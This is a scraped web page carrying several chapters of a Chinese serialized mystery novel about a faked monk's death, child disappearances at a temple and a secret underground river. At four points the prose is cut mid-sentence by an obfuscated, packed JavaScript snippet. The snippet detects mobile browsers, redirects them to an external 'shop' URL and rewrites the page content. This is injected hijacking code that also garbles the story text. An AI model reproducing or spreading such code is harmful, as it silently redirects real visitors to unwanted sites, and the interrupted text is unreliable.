“二位……二位檀越，万莫如此，万莫如此啊……”他一叠声地劝了数句，二人的哭声不止反高，只得蹙眉道：“阿弥陀佛，檀越夫人一片赤诚，贫僧怎好拂逆。只是坐缸乃寺中最庄严的法事之一，还请二位莫要喧哗，莫要触碰缸体与法器，紧随贫僧身后，不可偏离半步。” 哭声稍止，晏回掩涕颔首道：“多谢智空大师成全！妾身与婢子定然守规矩，绝不添乱。” 二人随着智空住持穿过天王殿侧廊，绕过放生池，复行数十步，尽头便是一处僻静的禅院，名曰“化身堂”。堂前的青砖地上，铺着一层干燥的檀香末，空气中萦绕着刺鼻的石灰味儿与檀香的清苦气。禅院中央立着一口半人高的青灰粗陶缸，缸身素无纹饰，缸口搭着一件暗黄色的僧伽黎袈裟，将内里的身影完全罩住，从晏回与唐珠儿所在的角度，即便踮起脚尖，也无法看到缸内的情况。 此时，几位僧人正用竹筛将木炭、石灰与沉香末按比例混合，往缸底均匀铺撒。闷闷的“唰啦”声，映衬着几位僧人无悲无喜的面容，呈现出一种诡异的和谐。晏回心下一冷，那种不对劲的感觉又一次涌上心头。 不容她多想，坐缸仪式的钟磬声便陡然响了起来。智空住持手持引磬，缓步走到缸前，几个僧人立刻停下手中的竹筛，低眉垂首，双手合十。趁着众人的目光都凝聚在智空住持身上，晏回微微侧转过身，抬起食指，往西面一指，身旁的唐珠儿瞬时会意，悄无声息地退出了观礼的人群。 晏回重新站定，继续以帕拭泪，内心却不断回忆着自己与明心唯一的一次会面。时日隔得不久，小沙弥明心的形象依旧呼之欲出。比寻常孩童大出一圈的光圆脑袋，细弱如麻秆的脖颈，苍白得能看清每一根毛细血管的皮肤，说话时不堪重负微微前倾着脑袋的样子……他的确是有不足之症，但真的能够一夜之间，无疾而终，坐化而亡吗？ 思索间，用以防腐的材料铺撒完毕，智空住持绕缸一周，缓缓揭开覆盖肉身的袈裟一角，诵经祈福。这是坐缸仪式中，唯一能窥见逝者真容的环节——揭纱诵经。不知是有意还是无意，智空住持掀起袈裟的角度极其刁钻，无论站在外圈的哪一个位置，都无法看清缸中人的面容。 从晏回的方位来看，只能隐隐看到一道缝隙，冬日的阳光斜斜地照下来，映亮了缝隙间某种苍白得毫无血色的东西。 晏回的眸子倏地睁大，只那一瞬，她便确定了她看到的究竟是什么。那是一个人光////裸的后颈，而被阳光照亮的部分，恰是人在低头时必然凸起的那截骨头——大椎，是颈椎中最突出的骨性标志。 偏偏，晏回记得明心大椎的样子。 明心自小便有不足之症，脑袋比寻常孩童要大出一圈，若是所猜无错，此病症乃是囟门迟闭导致的解颅。即孕期母体感受热毒，传入胎儿，热毒壅滞脑窍，气血运行不畅，水湿停滞，导致头颅异常增大。患此病症的孩童，自学会坐起就不得不低头维持平衡，多年的负重让那截凸出的大椎逐渐畸变，不仅比正常孩童突出近一倍，尖端还因长期摩擦领口，磨出了一圈淡褐色的老茧。更因颈椎代偿性后凸，大椎的位置比常人偏上半寸，像一颗尖尖的小石子嵌在颈后。 而此时，藏在袈裟下的这截大椎，圆润、规整，像一颗打磨过的鹅卵石。 一丝不易察觉的冷笑浮上晏回的嘴角，只此一眼她便可确认，此时缸中坐化的，绝不是小沙弥明心！ 可是，若缸中的并非明心，那又会是谁？明心又去了哪里？ 袈裟“唰”地被重新盖严，智空住持合掌躬身，声音庄重悠远：“往生极乐，早登莲台。” 晏回也随即移开专注的目光，带着哭腔随声附和：“愿小师父往生极乐，早登莲台！” 坐缸仪轨礼成，众人散去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184866|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，智空住持却抬步向一对缩肩弓背，靠着矮墙根儿站立的夫妇走去。晏回借着人流的掩护，也向着他们所在的位置凑近了些。 这对儿夫妇长相稀松平常，如同他们身上穿着的外裳一样，便是盛在金托盘上，亦不会引人多看一眼。唯有那妇人的眼睛，在褶皱的簇拥下，隐约有着杏核的形状，和明心的眼睛如出一辙。想来，这对儿夫妇就是明心尚在尘世挣扎的父母。 整个坐缸仪轨的过程中，两人的视线自始至终都没往那口青灰陶缸的方向瞟过，仿佛缸里装殓的不是他们亲生的儿子，而是一堆无关紧要的杂物。可他们麻木仓皇的眼神，却因为智空住持的逐渐靠近而骤然亮了起来。 智空住持从僧袍袖中取出一个鼓囊囊的蓝布包裹，递送到夫妇俩面前：“阿弥陀佛，这是小徒明心的遗物，还请二位收好。”说完便转身离去，没有再多看一眼。 夫妇俩急切地将包裹紧紧揽在怀里，手指不自觉地捏了捏厚度，脸上的褶子都舒展开来，冲着智空住持的背影连声道：“谢谢大师！谢谢大师！” 那模样绝非失却亲子的悲痛，反而是丢掉累赘的解脱。 二人得了包裹，也是片刻不愿在寺里停留，互相挤挨着往寺外走去。 男子搓了搓冻得通红的双手，小心翼翼地掀开包袱的一角，下一瞬就被妻子啪的一声，拍在手背上。 “瞧你那腌臜劲儿！大师说了，回家再看！”妻子压低声音训斥道。 “我也不多瞧，就看了一眼……”丈夫的语气有些委屈，但转瞬便添了笑意，“不过你别说，这抚恤银子还真不少！” 妻子嘬了嘬牙花子，颇有些感慨道：“可不是，活着的时候也是拖累，咱们瞧着他也遭罪不是……早知道这样，当初就该早点送他来寺里，甭管生死，多少也能帮衬着家里……” 妻子嘟嘟囔囔絮叨着，却没有听到丈夫的回应，不由心头恼怒，用胳膊肘狠狠怼了对方一下：“老娘跟你说话呢！” “听着呢听着呢……”丈夫小心翼翼地应承着，“我这不心里巴望着，出了寺就给你扯块布，做件新衣裳，想入了神嘛！” 妻子叽叽咯咯地笑了，后背拱起得愈发高耸，二人就这样说笑着，步出了山门。喜上眉梢的二人没有看到，在那冗长的芜廊掩映的阴影处，有一双琥珀色的眸子正冷冷地盯着他们，良久未曾移开视线。 67. 无尽灯（九） 晏回在芜廊中候了不多时，便看见一个着嫩黄色比甲，披着桃红色斗篷的身影一路小跑着过来了。 “夫人！”唐珠儿唤了一声，“婢子已经将您亲手缝的棉线经卷布套送去明心小师父的往生莲位了，您……且安心吧！” 晏回长叹一口气，拭泪道：“这便好……这便好，阿弥陀佛……” 唐珠儿上前扶住晏回摇摇欲坠的身子，耳畔传来对方压低声音的询问：“石凳下看过了吗？” “嗯，我都拿回来了，阿姊放心。” “九曲莲池呢？” “也都安排好了。” 晏回直起身子，柔荑轻轻搭在唐珠儿的手臂上，轻声道：“既如此，便要待无鱼那边的消息了。” * * * 这几日，戒通和尚出寺募化的时间分外长了。此刻已是暮色四合，戒通和尚还直挺挺地立在乱葬岗的土堆边，痴痴地等待那个洁白如鹤的身影。 昨夜回寺之后，戒通和尚盯着寮房的房梁，竟是一夜未曾阖眼，只觉浓重夜色之中，无数只鸣叫的天蓝聒聒汇聚在一处，吵得他心神不宁。凌晨鸡鸣一声，他便从榻上一跃而起，奔到院儿中练拳。天寒地冻，一套拳下来，戒通和尚浑身大汗淋漓，躁动不静的心方才落回到腔子里。 而现在，他已经苦候范凌舟一个多时辰了。 就在这铁塔般的大个子踮脚张望之时，远远地，飘来一阵清越的聒聒声。戒通只觉浑身一颤，如同从脚底板直通天灵盖生出一道白线，而凭空有一双大手，攥紧了白线猛地一提！戒通只觉自己从心到神，都被这声聒聒叫给攫住了。极目望去，夜色中，一道身影白衣胜雪，手托竹笼缓步而来，笼中那只天蓝聒聒正在振翅长鸣。 戒通布满疤痕的脸先是涨得通红，继而瞬时转白，大张着嘴，结巴得更厉害了：“道……道……道……”他磕巴了半天，愣是没将范凌舟的称呼喊全乎，只是挓挲着手迎了上去，凑到竹笼前，哆嗦着打量。 “这……这……这……我……我的？” 看着戒通和尚巨大的身躯抖成了风中落叶，范凌舟噗嗤一声，笑了：“大和尚，你说呢？贫道去哪儿给你变一只这般漂亮的天蓝聒聒啊！你好好瞅瞅，看看到底是不是你的。” 戒通大和尚瞪大了眼睛，看了不一会儿就红了眼眶，吸着鼻子拼命点头：“是……是我的……是……” “哝——”范凌舟将竹笼放到戒通大和尚铁铲般大小的手中，“完璧归赵。” 在天蓝聒聒高亢又不失婉转，顿挫又不掩悠扬的鸣叫声中，戒通大和尚再也无法掩藏激动的心情，大哭起来。情之所至，他早忘了什么僧道有别，冲着范凌舟噗通一声跪倒，“咣咣咣”连磕三个响头。 “道……道长是……是……是……聒聒仙人！请……请仙人受……受……受……戒通一拜！” 范凌舟笑着扶起他，心中是过足了仙人的瘾，可面上却佯装谦逊平和道：“大和尚过誉了。此虫灵性十足，若非你五年来悉心选育，贫道也点化不得。所以，贫道早就对你言明，这次聒聒擂的擂主本就该是你的。” 这句话彻底戳到了戒通大和尚心窝子里，他嗷的一嗓子，哭得不能自已。 范凌舟不易察觉地揉了揉震疼的耳朵，温声道：“只是不知……这等奇虫，大和尚是从何处捉来的？” “仙……仙山……”戒通哭着应道，“仙人……仙人喜欢……戒通……去……去捉……以报……报仙人……大……大……大恩！” 范凌舟眸光一闪，一丝笑意浮上嘴角，他故作深沉道：“捉虫倒是不必，只是有一事，不知大和尚……” “仙人……兹……兹管讲！”戒通想都没想，便应了。 范凌舟慢悠悠开口道：“贫道修道至今，卡在凝神境已有半载，瓶颈如铜墙铁壁，难以寸进。贫道听闻，水月寺的云峰山下今夜会有异象，乃天地灵气现世之征兆，此物能助贫道打通玄关，臻至化境，大和尚能否将那‘异象’带还给贫道呢？” 戒通听得眼睛瞪得溜圆，疤脸因激动而微微颤抖，他对范凌舟所言没有丝毫的犹疑，只是叩首不迭：“仙……仙人……放心……戒通……取异象……给……给……仙人……” “现在……现在就……就去！”说完，戒通大和尚一骨碌爬起，连膝盖上的浮土都来不及拍抚，转身便往水月寺的方向奔去。宽大的脚板将乱葬岗的荒草踏得唰啦作响，不多时便随着身影的远去静寂无声了。 * * * 玉仙元君祠破旧的厢房内，烛火如豆。经过数日的打理，屋内的陈设早已换了天地。原本泥地上铺着的草席不见了，取而代之的是一张丈许宽的波斯地毯，绒毛细密如酥雪，其上满布手工打制的波斯结，华丽繁复，一看便价值不菲。靠墙的位置新置了一套紫檀木八仙桌椅，桌面光可鉴人，椅背上嵌着成人拇指大小的和田玉。桌上的青瓷茶盏还冒着袅袅热气，旁边放着蜜饯金橘、松子糖和一碟切成薄片的阿胶糕。 墙角的土灶已被尽数撤去，换成了一尊三足铜炉，炉里烧着名贵的银丝炭，将整个屋子烘得暖融融的，丝毫没有冬日的冷意。 晏回、唐珠儿、楚庸围桌而坐，伤势大好的范凌舟则颇有得色地晃了晃手中的白瓷瓶。 “诸位，这仙山异象可就在这宝瓶之中。”他一边说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184867|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一边顺手拿走了唐珠儿手中的接碟。此时，唐珠儿正吃着松子糖，生怕漏下的糖渣沾染了新作的衣裳，这才捧着接碟，吃得小心。这边厢冷不防被范凌舟顺走了，少女不满地咂巴了一下嘴，恶狠狠地白了道士一眼。 范凌舟不以为意，拂尘一扫，屋中烛火骤灭，遁入一片黑暗之中。手中的宝瓶一倾，瓶中的液体便淌入碟中。只见夜色沉沉中，碟中的液体竟隐隐透出淡蓝荧光，如揉碎的星子沉在水底。 “诶——”唐珠儿转瞬便忘了方才的龃龉，凑上前去，“这怕不是阿姊让我倒进莲池中的水吧？可是这水……怎么会发光啊？” “这并不是普通的水，而是混合了马骨煅灰的芝麻油。马骨灰蕴阴火之精，遇气则燃，莹然生光；而芝麻油性糯润，既可浮于水上，又能使阴火凝而不散。”晏回轻声解释道，“那日，我与小沙弥明心漫步于九曲莲池畔，无意间发现池水中有气泡汩汩不绝，且水温寒冷异常，便知是地脉水络相连之兆，定有地下暗河藏匿其中。【1】” “因此，我安排珠儿趁坐缸仪轨在即，众人分心之际，将混合了马骨煅灰的芝麻油倒入漩涡之中。这种芝麻油于白日也许无甚特殊，可是待到暮色四合之时，蕴于其中的阴火便会莹然生光……” “而贫道呢，则利用戒通大和尚，以寻找异象为由，引得他前往云峰山下。那大和尚虽是武功高强，却心思单纯，看到河流中荧光闪烁，便以为是我说的‘异象’，当下便兴高采烈地取水于瓶中，带回给我，恰恰证明了那暗河直通仙山。”范凌舟接口道。 “通过水流的速度，以及马骨煅灰遇气燃烧的时间，只怕从那九曲莲池出发不过半个时辰，便可到达地下暗河。” 楚庸听得瞠目结舌，点头不迭，心中对晏回和范凌舟敬佩得五体投地。他万没想到，仅仅去了水月寺两次，此二人便能设计出这般精妙绝伦的计划，自己日日陪伴在侧，却是半分没有看出端倪。 唐珠儿却越听越气，冲着范凌舟恼怒道：“你怎么知道这么多！？” 范凌舟促狭一笑，挤眉弄眼道：“那是因为啊，贫道同西楼那都是蜘蛛结网，有条有理的主儿，不像某些人，嘴巴比脑子转得快，藏不住事儿。乖哦，接着吃你的松子糖，下次有跑腿儿的事，还找你。” 若不是晏回提前有所防备，稳稳按住了唐珠儿的手，只怕那一大把松子糖就要劈头盖脸地招呼范凌舟一身。 “此役首功，应属珠儿。坐缸仪轨，人多眼杂，能神不知鬼不觉地将芝麻油倒入漩涡之中，寻到暗河源头，已是破局关键。更何况——”晏回冲唐珠儿赞许一笑，“珠儿还带回了明心或许还活着的证据。” 68. 无尽灯（十） 见晏回这般毫不吝啬地夸奖自己，唐珠儿一瘪嘴，拼命压住自豪的笑容，从贴身的荷包里取出一物，放在桌上。 范凌舟重新点燃烛火，只见明晃晃的烛光下，一只细茅草折成的小兔子赫然桌上。那只茅草小兔手法稚嫩，略显粗糙，可却自有一股纯然可爱。两只长长的耳朵交叉叠在一起，如同女子头戴的幅巾，右耳上还别着一朵半开的淡紫色朝颜花。 见此，范凌舟表情复杂地一叹：“那小沙弥……还挺有心呐……” “那是——”唐珠儿拉长音道，“我每日都会偷偷去水月寺，将好吃的糕点藏到石凳下，而这小兔子，就和之前的草蟋蟀一样，是那小沙弥赠予阿姊的谢礼。” “你们且看这朝颜花，”晏回引着众人看向那已然起了褶皱的花瓣，“朝颜朝颜，晨绽午敛，是说这朝颜花只开一早晨，过了午时便会偃旗息鼓。可珠儿将这小兔子取回来的时候，这花瓣尚且柔润新鲜，花萼微潮，显然是一早便采撷的。” “可那智空住持却说，明心是夜里坐化，无疾而终。试想，一个夜里便坐化而逝的小沙弥，又是如何一大早折了茅草兔子，又摘了朝颜花呢？更为可能的情况是，明心将回礼放于石凳之下，又被人以某种借口带离。而今晨坐缸仪轨中的小沙弥，亦绝不是明心。” 范凌舟眉头微蹙，沉吟道：“先是姚逢春，生不见人死不见尸；再是小沙弥，伪造坐化，悄然失踪……难不成……这两人都被带入了暗河之中？可是……这小沙弥同调查官员风宪案的姚逢春又有什么关系？” 这时，始终满脸敬佩，听着众人分析的楚庸终于搓了搓手，开口了：“无鱼兄，恐怕不仅仅是两人……这两次我送晏姑娘和珠儿姑娘上山，皆是在寺外的老槐树下候着。那里聚了不少富贵人家的马夫力工，我便也顺嘴打听了些许。” “他们说，这水月寺住持颇为慈悲，收容了好些家贫或者病弱的孩子，做了小沙弥。可只是这几年，寺里便‘走’了十几位小师父，不是风寒便是肺痨，或是天花……在明心小师父坐化之前，我还只当这是时也命也，可如今看来，也许并非这么简单。” “那……若是真有猫腻，爹妈便不管吗？”唐珠儿打小便是孤儿，对于爹娘姊妹兄弟颇有些神往。她总是觉得，若自己也能有父母看顾，便绝不会吃尽苦头，尝尽困厄，是以有此一问。 晏回冷冷地哼了一声：“可惜，有些爹娘，有却不如无。若非今日亲眼所见，只怕我也会生出同珠儿一样的疑问。” 想到今日上午，明心父母毫无悲恸之色，唯余窃喜贪婪的脸，晏回便觉得后背生寒：“便是真有猫腻，明心的爹娘也是乐见其成。” “可他们捉这么多小沙弥做什么？”唐珠儿歪着脑袋，颇有些苦恼道，“难不成暗河里面有条大船，里面藏满了水月寺的宝藏，需要捉小沙弥去划船，顺着暗河直往海上的仙山去？” 晏回没有搭话，只是沉默地看了范凌舟一眼，道：“希望不是我所想的那样。” 范凌舟接过她的目光，苦笑着摇了摇头：“只怕还真就是你想的那样。” 见二人一个“希望”，一个“只怕”，一个有来言，一个有去语，唐珠儿本就听得云里雾里，这下更着恼了：“你们又打什么暗语！” 一直在一旁仔细聆听的楚庸，此刻也倚仗年龄的优势听懂了七七八八，赶紧拦道：“珠儿姑娘年龄尚小，还是不知为妙。” “妙什么妙！明明是大事不妙！”唐珠儿龇牙咧嘴道。 且不论唐珠儿如何恼怒不忿，亦不论范凌舟如何借机调笑，更不论晏回与楚庸如何安抚规劝，只说众人一致商定，赶早不赶晚，定要在莲华盛会开始之前，往暗河深处一探。 * * * 禅房静室的香雾如缕，新上任的开封府知府加授承宣按察使司副使——敖远正斜倚在禅椅上，食指有节奏地敲击着自己的膝盖。他依旧穿着那一身补丁摞补丁的官服，袖口磨得发亮，大剌剌地套在身上，活像个偷穿了官衣的老乞丐。 在济南府与地府判官和沈忘的斗法，可谓惨烈。鹰巢于济南府下辖的暗钉尽除，独留敖远这一个光杆司令。蜮公虽在朝中竭力周转，奈何沈忘其人在当今圣上心中动摇不得，蜮公也只得避其锋芒，暂时放弃济南府，将敖远调至开封府，继续筹谋运作。 开封府虽不及济南府布局深久，暗线众多，可究竟少了地府判官和沈忘这般棘手的对手，是以敖远干得顺风顺水，颇有春风得意马蹄疾，一日看尽“开封”花之感。而今日，他大驾光临这小小的水月寺，自然也是公干在身，为鹰巢和蜮公培植爪牙而来。 正在他半眯着眼睛，被庙中的檀香熏得昏昏欲睡之时，门口传来一阵窸窸窣窣的布料摩擦声。只见，一个穿灰布僧袍的小沙弥端着黑漆托盘轻步进来，托盘里是一碟桂花糖蒸栗粉糕。栗子磨粉蒸得软糯，表面撒着细碎的干桂花，浇了一层琥珀色的麦芽糖，碗边衬着两片新鲜的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184868|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松针，暖香扑鼻。 敖远被那香气勾得喉头动了动，懒洋洋地抬起头来。 小沙弥垂着头，声音细若蚊蚋：“檀越，这是禅房刚蒸好的栗粉糕，请用。” 敖远眼皮都没抬，从鼻腔里哼出一声：“放那儿吧。”他嘴上说着，目光却瞟了一眼那碟栗粉糕——麦芽糖的甜香混着栗子的醇厚，直往鼻子里钻。东西倒是好东西，只是伺候得下人嘛……他打量了一眼面前的小沙弥，便极为不屑地移开了目光。 东西倒是好东西，只是伺候的下人实在是蠢笨无比。 他收回视线，继续假寐。 “阿弥陀佛！有失远迎，敖大人恕罪恕罪！” 人未至，声先到，智空住持一路小跑，迎入门来。他双手合十躬身到底，白煮蛋般的大脑袋迅速绽开数道笑纹，他瞥了眼案上的栗粉糕，又扫量了垂头站着的小沙弥，脸色骤沉：“将贵客怠慢至此，成何体统！还杵在这里碍眼，赶紧退下！” 他像驱逐苍蝇蚊虫般，冲着小沙弥的背影使劲甩了甩袍袖，方回转过身来，快步走到敖远身侧，小心翼翼地挽起他官服的袖口。那袖口早已磨得发亮，智空却像捧着琉璃盏般轻柔，生怕扯坏半根线头。 “《法华经》有云——若人能持净戒，是则能有善法。大人身居高位，却穿着这补丁官服三年不换，这等持戒清简的境界，便是我等日日诵经的出家人也难及万一！”他顿了顿，语气愈发高亢：“大人调任开封以来，疏浚汴河、减免赋税，真是上报国家恩，下济黎民苦，功德无量。我佛定会护佑大人，早成世间自在王！” “人间自在王……”敖远眼皮微抬，颇为玩味地咂摸着这五个字，脸上终于现出一丝笑意：“智空大师过誉了。本官不过是守着为官本分，不敢忘圣上敬天保民的教诲罢了。” 他端起案上的栗粉糕，用银匙舀了一小口，慢慢嚼着，淡淡道：“这糕味道尚可，只是下次不必如此铺张。寺庙修行，当以清简为本，莫要失了出家人的本分。” 智空住持赶紧躬身受了，口中不住道：“是是是！大人教训得是！贫僧这就吩咐后厨，绝不敢再僭越半分。” 嘴上说着“僭越”，敖远却是将那香甜的栗粉糕吃得丁点不剩。细细品味半晌，敖远的目光透过禅房的窗棂，望向寺外连绵的云峰山。敖远放下银匙，用锦帕慢条斯理擦净嘴角糖渍，开口道：“智空大师，莲华盛会在即，登赴仙山，入无尽灯境之盛事，筹备得如何了？” 69. 无尽灯（十一） “阿弥陀佛！托大人洪福，全寺上下都在为无尽灯境倾力操办！那些伶俐漂亮的小沙弥，都在净身燃灯、诵经礼佛。务尽使得每盏灯都亮如星子，每朵莲都洁如月华。”智空住持讪讪笑着，解释道：“也正因如此，庙中只剩下些粗手笨脚的，让大人见笑了。” 敖远从鼻腔中挤出一声短促的低鸣，很难说清是赞同的“嗯”，还是不屑的“哼”。 智空住持依旧保持着那几乎咧到太阳穴的巨大笑容，从僧袍袖中取出一卷黄表纸名单，双手捧着递上：“这是本次莲华盛会的官员名单，朱笔描红的，便是要入无尽灯境的贵客，还请大人过目。” 敖远接过名单，指尖划过朱笔圈点的名字，嘴角笑意渐浓：“都是开封府的栋梁之材啊……只是，这些人，你都能引他们入无尽灯境？” 看着敖远睨过来的不辨阴晴的眼神，智空凑近一步，声音压得极低：“大人且宽心，兹要是随莲灯入了无尽灯境的人，无论他们想或不想，愿或不愿，哪怕是此刻想日后不想，或者此刻愿日后不愿，都早已失却了选择的权利，只能唯大人马首是瞻！” “便是真有宵小一二，想要坏蜮公大事，贫僧也自有办法让其闭嘴噤声。” 闻言，敖远一扬下颌，终于肆无忌惮地笑了出来：“好，很好。蜮公果然没看错你。”他站起身，拍了拍智空的肩膀：“莲华盛会当日，本官会亲自来无尽灯境，一睹仙山。” 敖远大笑离去，智空住持躬身及地，声音无比虔诚：“鹰巢之上，唯有蜮公，恭送大人。” * * * 细月如钩，斜嵌在暗河上方的崖壁缝隙里，如同一双森冷的眼睛。在那恶毒目光的逼视下，一艘窄长的梭子船自河道中缓缓驶来。 汜水县河道众多，十艘里有九艘都是梭子船。本地船匠用三十年以上的老杉木凿成，船体窄长如梭，船头船尾削得一般尖，双向皆能撑篙。梭子船吃水不过七寸，连最浅的淤泥滩都能滑过去。船身上蒙着油布篷，边角用铜钉钉死，既防潮又挡雨。这种船只，无论是运点山货还是短途载客，都是再趁手不过的“通家什”。 而面前的这艘梭子船却与寻常船只略有不同，它船艄的油布篷角上，挂着一个黄铜铃。这黄铜铃的铃舌并非常见的金属或是木制，而是颇为罕见的狼髀骨。随着船只迎风而行，发出古怪的震颤声。 梭子船的船尾立着一位船工，斗笠压得极低，遮住了半张脸，只露出一段锋锐的下颌线。 小船又行了不过十数步，只听前方石壁突然传来三声木鱼声。船工手腕一翻，竹篙在石壁上轻轻一点，船身便稳稳停在石壁前。 下一瞬，阴影里倏地探出个和尚脑袋，光头在月光下闪闪发亮：“船家，来处是？” “送些鲜货去寺里。”船工应道，声音粗粝，不忍卒听。 和尚点点头，又敲了三声木鱼，和着木鱼的节奏念道：“眼耳鼻。” 船工微微一笑，如同应和般晃了三下铜铃：“色声香。” 《楞严经》有言：“眼耳鼻舌身意，色声香味触法。”前半句为“六根”，后半句为“六尘”。和尚以三声木鱼对应前半句的前三字“眼耳鼻”；船工自然以铜铃声对应后半句的前三字“色生香”。 果不其然，和尚的脑袋缩了回去，拦住河道的石墩缓缓降了下去。船工撑着船篙，梭子船蹭着石壁，“滋溜”一声穿了过去。 复行数十步，河道愈发漆黑不可扪，只有石壁上的火把晕开一圈橙光，在寒风中不断颤抖、扭曲着形状。随着水波荡开的声响，又有五声木鱼的敲击声传来。 “应以佛身——” 《法华经·观世音菩萨普门品》中有言：应以佛身得度者，即现佛身而为说法。五声木鱼，却只对前半句的四字，船工也以五声铜铃相和，念道：“即现佛身——” 这次，并没有和尚探出头来检查，船工听着石墩沉降的闷响，片刻后，撑篙启航。借着斗笠压下的阴影，船工不易察觉地朝石壁上扫了一眼。只见在火把晃动的光影里，无数银亮如同猫瞳般的亮点转瞬而逝，船工知道，那是正在缩回藏箭洞的箭弩。 随着梭子船不停息地疾行，前方的河道愈发狭窄，船蒿不经意地微微偏斜，都会打到陡峭而突出的石壁。而火把的光芒只能照亮船头前的一尺水面，船工必须极为小心，才能不使船头发生偏移。 可即便如此，艏舷还是不可避免地轻撞了一下石壁，力道虽轻，却足够让船身晃了晃。黄铜铃随之震颤，发出一阵闷响，与此同时，从船底也传出一道极轻微的，带着不满的气音：“啧——” 船工掩在斗笠下的嘴角扬了扬，用竹篙在水里轻轻一点，稳住船身，然后抬起另一只手，食指在船板上快速敲了三下：“笃、笃、笃——” 船底的声音立刻消失了。 拐过一道弯，前方河道骤然光芒炽盛。只见十几支火把并排插在石壁凸起的石台上，火焰蹿得老高，将黑黢黢的河水照得通亮。一队穿着灰色僧袍的和尚立在石台中央，为首一人牵着一条苍黄皮毛的恶犬，冲着船工招了招手。 船工驯顺地将梭子船停在石台边，双手合十，躬身到底：“师父们辛苦。”待直起身，一小把碎银子就塞到了为首和尚的手中。 那和尚不声不响地收了，脸上也有了笑意：“船家，今日又是送鲜货？” 船工压了压斗笠，粗粝的声音带着几分疲惫：“是啊，最近寺里需求旺得很，天天跑两趟，胳膊都快抡不动了。我说师父，能不能添个人手，这活儿一个人忙活实在紧巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184869|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 为首的和尚意味深长地笑了笑：“知足吧，船家。这活儿可不是谁都能沾的。多少人盯着这口饭，求都求不来呢！你只管好好干，好处自然少不了你的。” “是是是，大师说得是……”船工好脾气地点头应承着。 这时，那条苍黄皮毛的恶犬突然竖起耳朵，尾巴警觉地拉成一条直线，朝船身凑了过来。它鼻子凑近船板嗅了嗅，喉咙里发出“呜呜”的低吼，后背的毛都竖了起来，眼看就要吠叫出声。众和尚也发现了异常，脸色一肃，皆手持戒棍围拢上来。 十数只火把将梭子船照得通亮，只怕便是有苍蝇飞过，也难以突出重围。 “船家——”为首的和尚探出手，直向船工的肩膀拍去。 船工只是愣愣站着，脸上还挂着讨好的笑，似乎并不知躲避。 下一瞬，那只警惕的恶犬猛地往后退了两步，用爪子不停地挠鼻子，尾巴夹在两股之间，发出委屈的呜咽声。 为首的和尚动作一滞，手缩了回来，当先看向哀叫的大狗。 “二黄，咋了？” 大狗用两只前爪抱着鼻子，哼哼唧唧地回应着。 船工一拍大腿，声音不无懊悔道：“哎呀，黄二爷对不住对不住！昨儿新换的杉木船板，边角没打磨光滑，怕是扎着黄二爷的鼻子了。” 他一边说，一边顺手接过一根火把，火光照向船板的边缘：“您瞧，这毛刺还在这儿呢！” 果然，船板边缘支棱着一根不起眼的毛刺儿。 为首的和尚蹲下身来，摸了摸狗的鼻子，见狗只是不停地蹭他的手，没有其他异常，便挥了挥手道：“行了行了，赶紧进去吧，别耽误了时辰。下次记得把船板打磨好，别再惊着狗子。” 船工忙不迭点头，一叠声应着，缓缓撑篙，竹篙擦着水面划出一道浅痕，梭子船如离弦之箭般划过石台。火把的光亮在身后逐渐缩小，直到彻底消失在拐弯处。 又行了约莫有半炷香的功夫，前方河道骤然开阔，河道的尽头出现一座巨大的石洞。洞口高逾十丈，宽足八丈，梭子船在它面前竟如撼树蚍蜉般渺小得可笑。船工眯起眼睛，抬头望向石洞高阔的洞顶，高举火把轻轻晃了晃，映得石壁上的影子张牙舞爪，像是无数蛰伏的幽魂灼灼欲扑人。 见四下再无人迹，竹篙一点水面，梭子船便如一片柳叶般贴在岸边，船底擦过浅滩的碎石，发出细碎的“沙沙”声。船工放下竹篙，转身走向船身中部的油布篷。 船工用手指扣住油布篷边角的铜钉，“咔嗒”几声解开两枚，然后猛地掀开油布。蓬中尽是食材，大筐小筐的堆摞着，满满当当。他迅速将船上的食材搬下来，露出船底平展的杉木板。 “出来吧，到地方了。”船工轻声道。 70. 无尽灯（十二） 